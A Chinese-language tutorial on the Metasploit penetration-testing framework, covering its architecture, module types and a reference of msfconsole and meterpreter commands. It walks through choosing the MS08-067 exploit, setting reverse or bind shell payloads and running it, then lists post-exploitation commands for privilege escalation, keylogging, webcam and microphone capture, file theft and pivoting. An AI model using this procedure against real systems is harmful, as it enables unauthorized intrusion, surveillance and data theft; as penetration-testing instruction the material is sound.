Metasploit体系框架介绍

Metasploit是目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。它彻底改变了我们执行安全测试的方式。

Metasploit之所以流行,是因为它可以执行广泛的安全测试任务,从而简化渗透测试的工作。Metasploit适用于所有流行的操作系统,但Kali Linux是最受欢迎的操作系统,第一、它预装了几乎所有实用渗透测试工具,降低了使用成本,其次它是基于Linux的操作系统,具有可靠的稳定性和安全性。

Metasploit渗透框架(Metasploit Framework)是一个免费的、开源的渗透测试框架,由H.D.Moore在2003年发布,后来被Rapid7收购。当前稳定版本是使用Ruby语言编写的。它拥有世界上最大的渗透测试攻击数据库,每年超过100万次的下载。它也是迄今为止使用Ruby构建的最复杂的项目之一。

Metasploit设计是尽可能采用模块化的理念;在基础库的基础上,提供了一些核心框架功能的支持;实现渗透测试的功能的主体代码则以模块化方式组织,并按照不同用途分为6种类型模块;为了扩充metasploit框架对渗透测试全过程的支持功能特性,metasploit的渗透测试功能还引入了插件机制,支持将外部的安全工具集成到框架中;metasploit框架对集成模块与插件,通过用户接口与功能程序提供给渗透测试者进行使用。

1.  Libraries(基础库文件)

metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。

Rex库1)最基础的组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等;

framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;

framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;

 2. modules(模块)

模块是通过Metasploit框架所装载、集成并对外提供的最核心的渗透测试功能实现代码。按照在渗透测试过程各个环节中所具有的不同用途,分为

1)辅助模块(Anxiliary):辅助模块为信息检索提供各种扫描程序。其中包括登录扫描器、漏洞扫描器、网络嗅探和端口扫描器;

2)渗透攻击模块(Exploiits):这个模块包含用于利用漏洞的程序和脚本,Metasploit有超过1700个漏洞利用程序。

3)后渗透攻击模块(Post):用于支持在渗透攻击取得目标系统远程控制权后,在受控系统中进行各式各样的后渗透攻击动作,如获取敏感信息、实施跳板攻击等

4)攻击载荷模块(Payloads):它主要用于建立攻击者和受害者机器直接的连接,Metasploit有超过500个有效攻击载荷。

5)空指令模块(Nops):用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。

6)编码器模块(Encoders):确保攻击载荷中不会出现渗透攻击过程中应加以避免出现的坏字符”。为了使有效载荷在IDS入侵检测/IPS入侵防御系统或反病毒程序下能不被发现,对攻击载荷进行“免杀”处理。

这些模块都拥有非常清晰的结构和一个预先定义好的接口,可以被装载到Metasploit框架中,并可组合支持信息搜集、渗透攻击与后渗透攻击拓展等渗透测试任务。

3. 插件(plugins

 

Metasploit框架的插件是一类定义比较松散,能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能命令、记录所有的网络记录或提供创新的渗透测试功能。

4. 接口(interfaces

 

Metasploit框架提供了多种用户使用接口,包括msfconsole控制台终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口等。

5. 功能程序

 

Metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全研究人员快速地利用Metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。

Metasplot基本步骤及命令详解

 

1.Linux metasploit安装及使用

1.1 终端输入msfconsole,启动metasploit

MSF终端是Metasploit功能最强大、最丰富的用户接口。

show Auxiliary/Exploits/Payloads 列出metasploit框架中的所有辅助/渗透攻击模块/攻击载荷。

1.2 msf>help

核心命令

Cd                       更改当前的工作目录

Sessions            转储会话列表并显示有关会话的信息

Color                          切换颜色

Set                      将特定于上下文的变量设置为一个值

Connect            连接与主机通信

Setg                   将全局变量设置为一个值

exit                    退出控制台

sleep                           在指定的秒数内不做任何事情

get                      获取特定于上下文的变量的值

spool                          将控制台输出写入文件以及屏幕

getg                   获取全局变量的值

threads             线程查看和操作后台线程

grep grep        另一个命令的输出

unload              卸载框架插件

history             显示命令历史

unset                 取消设置一个或多个特定于上下文的变量

irb                       进入irb脚本模式

unsetg               取消设置一个或多个全局变量

load                   加载一个框架插件

version              显示框架和控制台库版本号

quit                            退出控制台

route                          通过会话路由流量

save                   保存活动的数据存储

1.3  数据库后端命令

 

db_connect                     连接到现有的数据库

db_disconnect                断开与当前数据库实例的连接

db_export                        导出包含数据库内容的文件

db_import                         导入扫描结果文件(文件类型将被自动检测)

db_nmap                           执行nmap并自动记录输出

db_rebuild_cache                   重建数据库存储的模块高速缓存

db_status                                    显示当前的数据库状态

hosts                                            列出数据库中的所有主机

loot                                      列出数据库中的所有战利品

notes                                   列出数据库中的所有笔记

services                              列出数据库中的所有服务

vulns                                  列出数据库中的所有漏洞

workspace                                  在数据库工作区之间切换

1.4  模块命令

Advanced                          显示一个或多个模块的高级选项

Back                           从当前上下文返回

Edit                             使用首选编辑器编辑当前模块

info                                    显示有关一个或多个模块的信息

loadpath                   路径从路径搜索并加载模块

options                      显示全局选项或一个或多个模块

popm                         将最新的模块从堆栈中弹出并使其处于活动状态

previous                            将之前加载的模块设置为当前模块

pushm                      将活动或模块列表推入模块堆栈

reload_all                           从所有定义的模块路径重新加载所有模块

search                       搜索模块名称和描述

show                                   显示给定类型的模块或所有模块

use                              按名称选择模块

1.5 工作命令

 

Handler                      作为作业启动负载处理程序

Jobs                            显示和管理作业

Kill                               杀死一个工作

Rename_job            重命名作业

1.6.查找metasploit框架中所有的渗透攻击和其他模块:

search[模块名]

search ms08-067

1.7.选择并加载模块:

use exploit/windows/smb/ms08_067_netapi

info展示出制定渗透攻击或模块的相关信息。

1.8.设置攻击载荷:

set payload windows/meterpreter/bind_tcp

常用payload

Linux:

linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/bind_tcp

linux/x86/shell_bind_tcp

linux/x86/shell_reverse_tcp

linux/x64/shell_reverse_tcp

linux/x64/shell_bind_tcp

Windows:

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/shell reverse_tcp

windows/shell_ bind_tcp

windows/x64/meterpreter/reverse_tcp

windows/x64/meterpreter/bind_tcp

windows/x64/shell reverse_tcp

windows/x64/shell_bind_tcp

注意:

含有x64只适用目标服务器为64位操作系统的,没有x64或者使用x86的只适用32位操作系统;含有meterpreter的模块会反弹meterpreter_shel,而普通的shell模块只会反弹普通的shell(反弹结果跟nc类似);

reverse_tcp(反向连接)表示木马会主动连接目标服务器,bind_tcp(正向连接)表示木马会监听本地的端口,等待攻击者连接。这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。

1.9.查看需要设置的配置参数:

show options

1.10  设置配置参数(ip或端口):

set XXXX xxxxxx

1.11 开始攻击:

exploit或run;

等待目标上钩,获得shel之后,就可以通过命令获取目标机器的信息和控制其机器

sessions 列出所有可用的交互会话

Sessions  –l  1进入1号会话

打开meterpreter使用帮助:help

比如:getuid命令查看权限,验证内网渗透成功

1.12  核心命令

 

Background     -将当前会话移动到背景

Bgkill                     -杀死一个背景meterpreter 脚本

Bglist                     -提供所有正在运行的后台脚本的列表

Bgrun                   -作为一个后台线程运行脚本

Channel               -显示活动频道

Close                     -关闭通道

Exit                        -终止meterpreter会话

Help                      -帮助菜单

Info                       -查看详细信息

Irb                         -进入Ruby 脚本模式

Migrate                -移动到一个指定的PID的活动进程

Quit                       -终止meterpreter会话

Read                     -从通道读取数据

Run                       -执行以后它选定的meterpreter 脚本

Use                        -加载meterpreter的扩展

Write                    -将数据写入到一个通道

1.13 文件系统命令

 

Cat                        -读取并输出到标准输出文件的内容

Cd                          -更改目录对受害人

Del                         -删除文件对受害人

Download           -从受害者系统文件下载

Search                           -在目标主机文件系统上查找搜索文件例如:search-d c\\-f

*.doc                    在目标主机C盘下搜索doc文档

Edit                       -用vim编辑文件I

Getlwd                 -打印本地目录

Getwd                  -打印工作目录

Icd                         -更改本地目录

Lpwd                    -打印本地目录

lS                           -列出在当前目录中的文件列表

mkdir                    -在受害者系统上的创建目录

pwd                      -输出工作目录

rm                         -删除文件

rmdir                    -受害者系统上删除目录

Upload                 -从攻击者的系统往受害者系统上传文件

1.14  网络命令

 

Ipconfig                       -显示网络接口的关键信息,包括IP地址、等。

Portfwd                        -端口转发例如:portfwd add-11122-p3389-r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口

Route                            -查看或加入受害者路由表 route add 5.5.5.0255.255.255.01用sessions1会话加入指定网段

Arp                                 -显示主机ARP缓存

Getproxy                      -显示当前代理配置

Netstat                          -显示网络连接

1.15  提权命令

 

Getsystem                   -获得系统管理员权限

1.16  用户界面命令

 

Enumdesktops                    -列出所有可访问台式机

Getdesktop                                   -获取当前的meterpreter桌面

Idletime                                 -检查长时间以来,受害者系统空闲进程

keyscan_dump                   -键盘记录软件的内容转储

keyscan_start                      -启动时与如Word或浏览器的进程相关联的键盘记录软件

keyscan_stop                      -停止键盘记录软件

screenshot                            -抓去meterpreter 桌面的屏幕截图

record_mic                           -音频录制

webcam_chat                    -查看摄像头接口

webcam_list                         -查看摄像头列表

webcam_stream                          -摄像头视频获取

set_desktop                         -更改meterpreter 桌面

Uictl                                        -启用用户界面组件的一些控件

1.Metasploit介绍与基本命令的更多相关文章

  1. Linux介绍和基本命令

    Linux是什么? 就是运行在硬件之上的一组软件,主要控制内核和系统调用这2个层面为上层应用软件提供各种接口,并高效的控制硬件资源,与window一样是一种操作系统 Linux的创始人是林纳斯-托瓦兹 ...

  2. Metasploit介绍

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估, 提供真正的安全风险情报.这些功能包括智能开发,密码审计 ...

  3. linux介绍及基本命令

    linux简介 Linux内核最初只是由芬兰人李纳斯·托瓦兹(Linus Torvalds)在赫尔辛基大学上学时出于个人爱好而编写的. Linux是一套免费使用和自由传播的类Unix操作系统,是一个基 ...

  4. Linux介绍,基本命令

  5. Linux(centos)的常用基本命令

    Linux的常用基本命令. 首先启动Linux.启动完毕后需要进行用户的登录,选择登陆的用户不同自然权限也不一样,其中“系统管理员”拥有最高权限. 在启动Linux后屏幕出现如下界面显示: …… Re ...

  6. Linux的常用基本命令

    Linux的常用基本命令. 首先启动Linux.启动完毕后需要进行用户的登录,选择登陆的用户不同自然权限也不一样,其中“系统管理员”拥有最高权限. 在启动Linux后屏幕出现如下界面显示: …… Re ...

  7. 转:Linux基本命令大全

    Linux基本命令大全   新手刚刚接触Linux的时候可能处处感到不便,不过没有关系,接触新的事物都有这样的一个过程,在你用过Linux一段时间后,你就会逐渐了解Linux其实和Windows一样容 ...

  8. Linux的常用基本命令。

    Linux的常用基本命令. 首先启动Linux.启动完毕后需要进行用户的登录,选择登陆的用户不同自然权限也不一样,其中"系统管理员"拥有最高权限. 在启动Linux后屏幕出现如下界 ...

  9. Linux 常用基本命令及应用技巧

    需要pdf 版 联系我 我的文件中有目录一.Linux 的常用基本命令................................................................. ...

随机推荐

  1. docker安装与环境部署

    使用docker搭建环境 摘要 install docker start docker install docker-compose 部署upload-labs/sqli-labs 部署dvwa 部署 ...

  2. java线程间的协作

    本次内容主要讲等待/通知机制以及用等待/通知机制手写一个数据库连接池. 1.为什么线程之间需要协作 线程之间相互配合,完成某项工作,比如:一个线程修改了一个对象的值,而另一个线程感知到了变化,然后进行 ...

  3. Fabric 源码学习:如何实现批量管理远程服务器?

    前不久,我写了一篇<Fabric教程>,简单来说,它是一个用 Python 开发的轻量级的远程系统管理工具,在远程登录服务器.执行 Shell 命令.批量管理服务器.远程部署等场景中,十分 ...

  4. BERT实现QA中的问句语义相似度计算

    1. BERT 语义相似度 BERT的全称是Bidirectional Encoder Representation from Transformers,是Google2018年提出的预训练模型,即双 ...

  5. 深入理解 vertical-align 属性

    语法 用来指定行内元素或表格元素的垂直对齐方式 相对父元素的值 baseline 使元素的基线与父元素的基线对齐.HTML规范没有详细说明部分可替换元素的基线,如textarea,这意味着这些元素使用 ...

  6. 判断括号是否有效(c++描述)

    开门见山,假设我们有一大串的由'{', '}', '[', ']', '(', ')' 这些括号构成比如像这样的"{[}][()"符号串,我们肉眼当然能看出它是非法的,那么如何使用 ...

  7. 简说Python之flask-SQLAlchmey的web应用

    目录 原生语句操作MySQL数据库 1.安装MySQL 2.MySQL设置用户和权限 3.用PyMySQL操纵MySQL数据库 4. CRUD增,删,改,查 使用SQLAlchemy 1.安装SQLA ...

  8. 将xml处理为json对象数组

    function xmlStr2js(xmlStr) { var tagNames = xmlStr.match(/<\w+>/g) tagNames = deWeightTagNames ...

  9. 6. concat_ws用法

    select  CONCAT_WS('-', e.audit_one_name, e.audit_second_name) from t_audit_item_name e  where e.id= ...

  10. 1. chromedriver的下载和配置

    使用selenium时,需要用到不同浏览器的driver. 我常用chromedriver,所以先记录chromedriver的使用和配置.其他浏览器的driver配置大同小异. 一. 确定浏览器的版 ...